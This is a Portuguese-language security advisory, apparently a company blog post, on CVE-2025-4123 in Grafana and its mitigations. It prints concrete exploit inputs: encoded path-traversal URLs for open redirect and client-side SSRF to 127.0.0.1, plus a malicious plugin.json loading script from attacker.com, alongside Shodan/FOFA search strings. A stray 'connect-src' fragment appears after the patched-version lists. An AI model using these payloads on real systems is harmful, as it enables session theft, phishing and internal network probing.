CVE-2025-4123: Como uma Falha de Caminho no Grafana Levou a XSS, SSRF e Redirecionamentos Maliciosos

No universo da cibersegurança, pequenas falhas de lógica podem se transformar em vetores críticos de ataque. Foi exatamente o que aconteceu com a vulnerabilidade identificada como CVE-2025-4123, que afeta o Grafana, uma das plataformas mais populares de monitoramento e visualização de métricas em ambientes corporativos. A falha explora problemas na manipulação de caminhos no front-end do Grafana, permitindo ataques XSS (Cross-Site Scripting), SSRF (Server-Side Request Forgery) e redirecionamentos abertos.

Neste artigo, a equipe da Dolutech apresenta uma análise completa da vulnerabilidade, suas causas técnicas, formas de exploração e, principalmente, as medidas de mitigação para proteger seu ambiente Grafana.

O que é o Grafana?

O Grafana é uma plataforma de código aberto amplamente adotada para visualização e análise de métricas em tempo real. Ele integra-se a diversas fontes de dados como Prometheus, InfluxDB, MySQL, ElasticSearch, entre outras, e é utilizado tanto por pequenas empresas quanto por grandes corporações em painéis interativos e alertas automatizados.

Por ser altamente extensível e frequentemente exposto à internet, o Grafana torna-se um alvo recorrente de pesquisadores e agentes maliciosos. Vulnerabilidades no seu front-end podem comprometer não apenas a interface gráfica, mas também a infraestrutura por trás dos painéis.

Detalhes Técnicos da Vulnerabilidade CVE-2025-4123

A falha ocorre devido à falta de validação e normalização de caminhos de URL utilizados pelo front-end do Grafana para navegação e carregamento de plug-ins. O sistema não trata corretamente sequências codificadas como ../, barras invertidas ou percent-encoding, permitindo que atacantes manipulem o caminho de carregamento e injetem scripts externos, redirecionem usuários ou façam o software requisitar recursos internos.

Causas Principais:

• Falta de validação na travessia de caminhos (path traversal).
• Aceitação de domínios externos como fonte de plug-ins.
• Ausência de verificação estrita na construção de rotas e redirecionamentos no lado do cliente.

Variações de Exploração

1. Redirecionamento Aberto

Um atacante pode criar um link que se aproveita da falha de normalização de caminhos para redirecionar a vítima para um domínio malicioso:

https://example.com/public/..%2F%5coast.pro%2F%3f%2F..%2F..

Ao acessar esse link, o navegador trata a URL como legítima da instância Grafana, mas o usuário é redirecionado para um site externo controlado por um agente malicioso. Esse redirecionamento é silencioso e pode levar a ataques de phishing, entrega de malware ou roubo de credenciais.

2. XSS (Cross-Site Scripting)

A vulnerabilidade também permite a execução de código JavaScript malicioso, simulando a instalação de um plug-in falso. Um invasor pode hospedar um plugin.json que aponta para um script remoto, como:

{
  "name": "ExploitPluginReq",
  "type": "app",
  "id": "grafana-lokiexplore-app",
  "module": "http://attacker.com/malicious.js",
  "baseUrl": "public/plugins/grafana-lokiexplore-app",
  "enabled": true
}

A exploração ocorre com o carregamento da seguinte rota:

/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore

Este ataque permite a execução de scripts arbitrários no navegador da vítima, o que pode resultar em roubo de sessões, movimentação lateral e tomada de controle da conta de administrador.

3. SSRF (Server-Side Request Forgery)

Mesmo sendo um SSRF do lado do cliente, a falha permite que o navegador da vítima envie requisições para endereços internos, como 127.0.0.1 ou 169.254.169.254:

/a/..%2f..%2f..%2fpublic%2f..%252f%255C127.0.0.1%252f%253Fp%252f..%252f..%23/explore

Esse tipo de ataque pode ser usado para sondar serviços internos, vazar dados sensíveis ou realizar escaladas de privilégio.

Detecção e Reconhecimento

Instâncias vulneráveis do Grafana podem ser detectadas com ferramentas como Shodan, FOFA e Censys. Pesquisas comuns incluem:

• Shodan: product:"Grafana"
• FOFA: app="Grafana"

Também é possível utilizar o framework Nuclei com templates específicos:

echo domain.com | nuclei -t cves/2025/CVE-2025-4123.yaml

Medidas de Mitigação

A equipe do Grafana já disponibilizou um patch nas versões v10.4.18+security-01, v11.2.9+security-01, v11.3.6+security-01, v11.4.4+security-01, v11.5.4+security-01, v11.6.1+security-01, and v12.0.0+security-01
connect-src, que corrige completamente o problema ao:

• Normalizar os caminhos no front-end.
• Bloquear carregamento de domínios externos como fontes de plug-ins.
• Escapar e validar corretamente entradas do usuário.

Para administradores de sistemas:

• Atualize imediatamente para as versões: v10.4.18+security-01, v11.2.9+security-01, v11.3.6+security-01, v11.4.4+security-01, v11.5.4+security-01, v11.6.1+security-01, and v12.0.0+security-01
  connect-src
• Revise o diretório de plug-ins e remova quaisquer arquivos não reconhecidos ou suspeitos.
• Bloqueie URLs externas utilizando um WAF, especialmente para requisições vindas de caminhos como /a/, /public/, e /explore.
• Ative CSP (Content Security Policy) no cabeçalho da aplicação para impedir carregamento de scripts externos.
• Segmente a rede e evite que aplicações Web acessem redes internas diretamente.

Grafana Cross-Site-Scripting (XSS) via custom loaded frontend plugin | Grafana Labs

Considerações Finais

A vulnerabilidade CVE-2025-4123 é um claro exemplo de como pequenas falhas de normalização e sanitização de caminhos podem ter impactos catastróficos. O encadeamento de XSS, SSRF e redirecionamento aberto não apenas compromete a instância do Grafana, como pode ser explorado como um ponto de entrada para movimentação lateral em redes corporativas.

Organizações que utilizam Grafana em ambientes de produção devem tratar essa falha com prioridade máxima, garantindo que todos os painéis públicos estejam devidamente atualizados, protegidos por WAFs e com monitoramento de tráfego em tempo real.

Na Dolutech, reforçamos a importância de estar sempre atento a CVEs recentes e de aplicar patches de segurança assim que forem disponibilizados pelos fornecedores. A prevenção é a chave para manter a resiliência digital em ambientes cada vez mais complexos e conectados.

Lucas Catão de Moraes

Amante por tecnologia Especialista em Cibersegurança e Big Data, Formado em Administração de Infraestrutura de Redes, Pós-Graduado em Ciências de Dados e Big Data Analytics e Machine Learning, Com MBA em Segurança da Informação, Escritor do livro ” Cibersegurança: Protegendo a sua Reputação Digital”.